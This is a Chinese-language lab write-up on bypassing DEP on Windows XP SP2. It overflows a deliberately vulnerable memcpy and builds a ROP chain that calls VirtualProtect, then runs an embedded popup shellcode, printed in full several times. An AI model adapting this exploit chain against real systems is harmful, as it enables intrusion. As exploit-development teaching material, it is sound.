目录
一、实验原理
在DEP的四种模式中,Optout和AlwaysON模式下所有进程是默认开启DEP,这时如果一个程序自身偶尔需要从堆栈中取指令,则会发生错误。为了解决这一问题,系统提供了一个修改内存属性的函数——VirtualProtect函数,该函数位于kernel32.dll中,通过该函数用户可以修改指定内存的属性,包括是否可执行属性。因此,只要我们在栈桢中布置好合适的参数,并让程序转入函数VirtualPotect执行,就可以将shellcode所在内存设置为可执行状态,进而绕过DEP。
VirtualProtect函数说明:
BOOL VirtualProtect(
LPVOID lpAddress, //要改变属性的内存起始地址
DWORD dwSize, //要改变属性的内存区域大小
DWORD flNewProtect, //内存新的属性值,设置为0x40,该内存页可读可写可执行
PDWORD lpflOldProtect //内存原始属性类型保存地址
);
修改内存属性成功,函数返回非0;修改失败,函数返回0。
如果我们按照以下参数布置好栈帧的话,就可以将shellcode所在内存区域设置为可执行模式:
BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);
需要注意两个问题:
(1)参数中含有0x00,strcpy在复制字符串的时候会被截断,所以我们不能攻击str函数,本次实验改为攻击memcpy函数;
(2)对shellcode所在内存空间起始地址的确定,不同机器之间shellcode在内存中的位置可能不同,本次实验采用一种巧妙地栈帧构造方法动态确定shellcode所在内存空间地起始地址。
VirtualProtect函数具体实现:
VirtualProtect只是相当于做了一次中转,通过将进程句柄、内存地址、内存大小等参数传递给VirtualProtectEx函数来设置内存的属性。我们选择0x7C801FE8作为切入点,按照函数要求将栈帧布置好后转入0x7C801FE8处执行设置内存属性操作。
二、实验环境
操作系统:windows xp sp2
DEP状态:Optout
编译器:VC++6.0
build版本:release版本
原版OD
三、实验代码
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xBB\x33\xD3\x7D"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
char tt[176];
memcpy(tt,shellcode,420);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
代码简要分析:
(1)本次实验不启用GS和SafeSEH;
(2)函数test存在一个典型的溢出,复制超长字符串造成溢出,进而覆盖函数返回地址;
(3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualProtect函数将shellcode所在内存区域设置为可执行模式;
(4)通过push esp jmp eax指令序列动态设置VirtualProtect函数中的shellcode所在内存起始地址以及内存原始属性类型保存地址;
(5)内存区域被设置为可执行模式后shellcode就可以执行了。
四、实验步骤
1、找到VirtualProtect()在内存中的地址
本实验主要是通过调用VirtualProtect()函数修改指定内存位置的属性的方法绕过DEP,所以需要知道VirtualProtect()的地址。另外,不同的设备,VirtualProtect()在内存中的位置不一样,所以使用Dependency Walker在kernel32.dll中寻找其地址,并在OD中验证。
可以看到VirtualProtect()大概在0x7C800000+0x00001AD4处。
我们这里之后直接转到0x7C801AD4,直接进入参数的压栈。
2、构造VirtualProtect()的相关参数
如果想调用函数VirtualProtect(),而在调用函数之前,需要将函数相关参数入栈,因为再覆盖栈帧的时候,EBP中的数据已经被破坏,因此与函数有关的参数将无法入栈,也就是程序无法执行。
所以需要修复EBP。用PUSH ESP POP EBP RET 4指令的地址覆盖test函数的返回地址,这样就可以修复被破坏的EBP。
使用ollyFindAdd插件:
这里选择0x77ECDC68地址。
则此时的shellcode为:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x68\xDC\xEC\x77"//修正EBP
编译运行程序,直接运行到PUSH ESP POP EBP RET 4处,查看栈帧情况:
如果retn 4 之后,程序准备调用函数VirtualProtect(),那么四个参数位置就是上图红框框的四个位置。
执行完retn 4之后,ESP将指向0x0012FEBC处,也就是刚好指向EBP+8的位置。
现在的目的是:执行完RETN 4之后,使ESP向高地址方向移动4字节而又不影响程序的控制。
选择0x7DD72A30处的RETN指令。
PUSH ESP,JMP EAX指令的目的是改EBP+8处的参数
如上图所示,我们已经将EBP+0x8的参数设置为了当前栈帧的某个地址,只要我们将EBP+0x14处存放的地址为可写地址就行了。按照刚刚的1思路,如果我们将ESP指向EBP+0x18,就可以再用PUSH ESP,JMP EAX指令来设置EBP+0x14的参数。
观察当前栈帧的特点,ESP指向0x0012FEBC,EBP+0x18为0x0012FECC,所以我们可以用POP POP POP RETN指令序列使得ESP指向0x0012FECC。
结合当前程序执行的语句,可以看到此时程序下一步将要执行JMP EAX,所以我们需要程序指向JMP EAX之前,让EAX中保存着POP POP POP RETN的指令序列地址。
(1)使用OllyFindAdd寻找POP POP POP RETN指令地址:
需要注意的是:选择的POP POP POP RETN指令不能影响到ESP、EBP、EAX这几个寄存器的值,所以这里我们选择0x7D73639D处的指令序列。
(2)寻找POP EAX RETN
使用POP EAX RETN指令序列,将POP POP POP RETN指令的地址(0x7D73639D)存入EAX中。
这里选择0x7DCEDAFC.
更改shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
编译运行程序,直接执行到0x7DCEDAFC处(test函数的返回地址就是0x7DCEDAFC覆盖);
这一步执行POP EAX RETN,目的是让EAX保存0x7D73639D(也就是POP POP POP RETN指令序列的地址)。
可以看到下一步程序EIP寄存器将会指向0x77ECDC68(也就是修正EBP)
通过PUSH ESP POP EBP RETN指令序列修正EBP之后,下一步EIP寄存器将会执行0x7DD72A30(也就是RETN),并且,ESP将会指向0x0012FEC4(也就是EBP+8)。使用RETN(0x7DD72A30)的目的是让ESP指向0x0012FEC8(也就是EBP+12),同时EIP将会指向0x77EBC6C6(PUSH ESP JMP EAX)。前一个PUSH EAP是更改EBP+8的值,也就是函数VirtualProtect()的第一个参数(要改变属性的内存的起始地址)。后一个JMP EAX是为了更改EBP+14的值,也就是数VirtualProtect()的第四个参数(内存原始属性类型保存地址)。
指向PUSH ESP,可以看到EBP+8位置的数据被覆盖,也就是函数VirtualProtect()的第一个参数被更改,目的是更改从0x12FEC8开始的内存属性。这一步RETN之后,EIP寄存器将会指向0x7D73639D(也就是执行POP POP POP RETN指令序列)处。
执行完POP POP POP 之后,ESP指向0x0012FED0处,也就是EBP+14,也就是函数VirtualProtect()的第四个参数,下一步的目的将是更改此处的值,改为一个可写的地址。
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
究竟如何改呢?同样用PUSH ESP JMP EAX,观察到此时ESP指向0x0012FED0,要改的内存属性的地址是从0x0012FEC8开始的,所以0x0012FED0是可写的地址。
同时注意到:结合此时的shellcode,并且对比下面两张图:
刚开始更改EAX的值
可以发现,函数VirtualProtect()的第二、三参数应该分别放在0x0012FEC8、0x0012FECC处,也就是在构造shellcode的时候,将函数VirtualProtect()的第二、三参数直接布置在"\xC6\xC6\xEB\x77"后面即可。
重新构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
编译运行程序,运行到修改第四个参数位置,即JMP EAX处。
可以看到函数的第四个参数以及被修改,既然四个参数都已经准备好了,下一步将调用函数VirtualProtect()修改执行内存的属性值。
程序下一步将会执行[eax],即POP POP POP RETN指令序列。现在ESP执行0x0012FED0,而这个0x0012FED0曾经存放的是PUSH ESP JMP EAX这条指令序列的地址,所以,调用VirtualProtect()的指令(0x7C801AD4)放在0x0012FEDC处.。
3、修改内存属性
更改shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
编译运行程序,执行到程序调用函数VirtualProtect()处:
可以看到,函数VirtualProtect()的返回值为非0,也就是说更改内存属性成功。也就是说我们可以在0x0012FEC8~0x001FEC8+0xFF的位置为所欲为了!只要在0x0012FEE4处放一个JMP ESP的指令,然后ESP将会指向0x0012FEF4处,在0x0012FEF4放弹窗代码即可绕过DEP。
4、执行弹窗代码
结合shellcode的布局,寻找JMP ESP要放在哪儿,构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA4\xDE\xA2\x7C"//jmp esp
编译运行程序,运行到调用完函数VirtualProtect(),准备返回,即RETN 10处。
在栈帧中,可以看到0x0012FEE4指向第二个“\x90\x90\x90\x90”,所以下一步将JMP ESP放在第二个“\x90\x90\x90\x90”处即可。
在继续构造shellcode之前,先找一个JMP ESP:
选择0x7DD333BB处的JMP ESP。
构造shellcode:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\xDA\xCE\x7D"//pop eax retn
"\x9D\x63\x73\x7D"//pop pop pop retn
"\x68\xDC\xEC\x77"//修正EBP
"\x30\x2A\xD7\x7D"//RETN
"\x90\x90\x90\x90"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\xFF\x00\x00\x00"
"\x40\x00\x00\x00"
"\xC6\xC6\xEB\x77"//push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xD9\x1A\x80\x7C"//修改内存属性
"\x90\x90\x90\x90"
"\xBB\x33\xD3\x7D"//jmp esp
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
编译运行,成功绕过DEP: